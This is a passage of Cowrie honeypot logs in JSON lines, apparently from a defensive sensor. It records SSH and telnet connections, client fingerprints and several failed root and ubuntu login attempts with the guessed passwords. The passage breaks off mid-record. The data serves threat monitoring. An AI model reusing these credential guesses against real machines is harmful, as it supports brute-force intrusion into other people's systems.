{"eventid":"cowrie.session.closed","duration":0.004805564880371094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:33.990956Z","src_ip":"192.119.13.58","session":"125c7ab4a855","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.129062652587891,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:35.424813Z","src_ip":"192.119.13.58","session":"a71db0dacd22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":49904,"dst_ip":"159.203.135.109","dst_port":22,"session":"870e50304583","protocol":"ssh","message":"New connection: 69.6.222.198:49904 (159.203.135.109:22) [session: 870e50304583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:37.217547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:37.225071Z","src_ip":"69.6.222.198","session":"870e50304583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:37.338107Z","src_ip":"69.6.222.198","session":"870e50304583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@dm1n1str@t0r","message":"login attempt [root/@dm1n1str@t0r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:37.834175Z","src_ip":"69.6.222.198","session":"870e50304583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:38.952836Z","src_ip":"69.6.222.198","session":"870e50304583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.80985379219055,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:39.810422Z","src_ip":"192.119.13.58","session":"8299c21dee6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59558,"dst_ip":"10.17.0.5","dst_port":23,"session":"102648dbab2b","protocol":"telnet","message":"New connection: 192.119.13.58:59558 (10.17.0.5:23) [session: 102648dbab2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:42.603684Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34778,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eddcceeb87c","protocol":"telnet","message":"New connection: 192.119.13.58:34778 (10.17.0.5:23) [session: 8eddcceeb87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:43.408134Z"}
{"eventid":"cowrie.session.closed","duration":46.21910119056702,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:43.416262Z","src_ip":"192.119.13.58","session":"0e7962c75718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46592,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92914153700","protocol":"telnet","message":"New connection: 192.119.13.58:46592 (10.17.0.5:23) [session: e92914153700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:47.313774Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35562,"dst_ip":"10.17.0.5","dst_port":23,"session":"729da84bf866","protocol":"telnet","message":"New connection: 192.119.13.58:35562 (10.17.0.5:23) [session: 729da84bf866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:51.933760Z"}
{"eventid":"cowrie.session.closed","duration":53.96489667892456,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:52.308626Z","src_ip":"192.119.13.58","session":"23e4d898028d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37518,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ea8e04037b3","protocol":"telnet","message":"New connection: 192.119.13.58:37518 (10.17.0.5:23) [session: 6ea8e04037b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:52.710004Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":44560,"dst_ip":"159.203.135.109","dst_port":22,"session":"58d04eace1f3","protocol":"ssh","message":"New connection: 43.163.121.249:44560 (159.203.135.109:22) [session: 58d04eace1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:53.397120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:53.401646Z","src_ip":"43.163.121.249","session":"58d04eace1f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:53.639009Z","src_ip":"43.163.121.249","session":"58d04eace1f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gnome","message":"login attempt [root/gnome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:54.619956Z","src_ip":"43.163.121.249","session":"58d04eace1f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:55.861576Z","src_ip":"43.163.121.249","session":"58d04eace1f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.722551107406616,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:56.637138Z","src_ip":"192.119.13.58","session":"a90e80b49d7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.049322605133057,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:59.982976Z","src_ip":"192.119.13.58","session":"729da84bf866","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.426340579986572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:03.517623Z","src_ip":"192.119.13.58","session":"e022ae72e698","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":9958,"dst_ip":"10.17.0.5","dst_port":22,"session":"78746830d3ad","protocol":"ssh","message":"New connection: 38.93.206.2:9958 (10.17.0.5:22) [session: 78746830d3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:05.388206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:05.393591Z","src_ip":"38.93.206.2","session":"78746830d3ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:05.450742Z","src_ip":"38.93.206.2","session":"78746830d3ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:05.612716Z","src_ip":"38.93.206.2","session":"78746830d3ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:06.666555Z","src_ip":"38.93.206.2","session":"78746830d3ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51330,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac66c666a7f0","protocol":"telnet","message":"New connection: 192.119.13.58:51330 (10.17.0.5:23) [session: ac66c666a7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:08.463665Z"}
{"eventid":"cowrie.session.closed","duration":48.55476689338684,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:10.523021Z","src_ip":"192.119.13.58","session":"067ac86b0fef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.179793357849121,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:10.643327Z","src_ip":"192.119.13.58","session":"ac66c666a7f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.789546966552734,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:12.645530Z","src_ip":"192.119.13.58","session":"a8707f226dd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.741724252700806,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:15.416385Z","src_ip":"192.119.13.58","session":"69fc21b5a8d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56570,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba566cbe505c","protocol":"telnet","message":"New connection: 192.119.13.58:56570 (10.17.0.5:23) [session: ba566cbe505c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:21.105604Z"}
{"eventid":"cowrie.session.closed","duration":39.17808413505554,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:21.781658Z","src_ip":"192.119.13.58","session":"102648dbab2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.384994983673096,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:24.698646Z","src_ip":"192.119.13.58","session":"e92914153700","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44826,"dst_ip":"10.17.0.5","dst_port":23,"session":"8161503fed5d","protocol":"telnet","message":"New connection: 192.119.13.58:44826 (10.17.0.5:23) [session: 8161503fed5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:25.363276Z"}
{"eventid":"cowrie.session.closed","duration":0.0056040287017822266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:25.368741Z","src_ip":"192.119.13.58","session":"8161503fed5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54234,"dst_ip":"10.17.0.5","dst_port":22,"session":"94a09230b701","protocol":"ssh","message":"New connection: 193.32.162.145:54234 (10.17.0.5:22) [session: 94a09230b701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:25.416779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:25.421671Z","src_ip":"193.32.162.145","session":"94a09230b701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:25.523638Z","src_ip":"193.32.162.145","session":"94a09230b701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana@","message":"login attempt [ubuntu/solana@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:25.829752Z","src_ip":"193.32.162.145","session":"94a09230b701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:26.934592Z","src_ip":"193.32.162.145","session":"94a09230b701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":34010,"dst_ip":"159.203.135.109","dst_port":22,"session":"254ec18a72fe","protocol":"ssh","message":"New connection: 165.154.5.249:34010 (159.203.135.109:22) [session: 254ec18a72fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:28.220428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:28.225025Z","src_ip":"165.154.5.249","session":"254ec18a72fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:28.441315Z","src_ip":"165.154.5.249","session":"254ec18a72fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"applprod","message":"login attempt [root/applprod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:29.329862Z","src_ip":"165.154.5.249","session":"254ec18a72fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.9515163898468,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:29.359507Z","src_ip":"192.119.13.58","session":"8eddcceeb87c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:30.546185Z","src_ip":"165.154.5.249","session":"254ec18a72fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39106,"dst_ip":"10.17.0.5","dst_port":23,"session":"80fc6883324e","protocol":"telnet","message":"New connection: 192.119.13.58:39106 (10.17.0.5:23) [session: 80fc6883324e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:32.903869Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52338,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa67e9069f3a","protocol":"telnet","message":"New connection: 192.119.13.58:52338 (10.17.0.5:23) [session: fa67e9069f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:37.180073Z"}
{"eventid":"cowrie.session.closed","duration":45.55892896652222,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:38.268738Z","src_ip":"192.119.13.58","session":"6ea8e04037b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56764,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bc7c85e99b7","protocol":"telnet","message":"New connection: 192.119.13.58:56764 (10.17.0.5:23) [session: 8bc7c85e99b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:38.608064Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45004,"dst_ip":"10.17.0.5","dst_port":23,"session":"89d8ba03d00f","protocol":"telnet","message":"New connection: 192.119.13.58:45004 (10.17.0.5:23) [session: 89d8ba03d00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:43.827443Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":37822,"dst_ip":"159.203.135.109","dst_port":22,"session":"34ae0e4a1496","protocol":"ssh","message":"New connection: 43.134.100.175:37822 (159.203.135.109:22) [session: 34ae0e4a1496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:44.748954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:44.756458Z","src_ip":"43.134.100.175","session":"34ae0e4a1496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2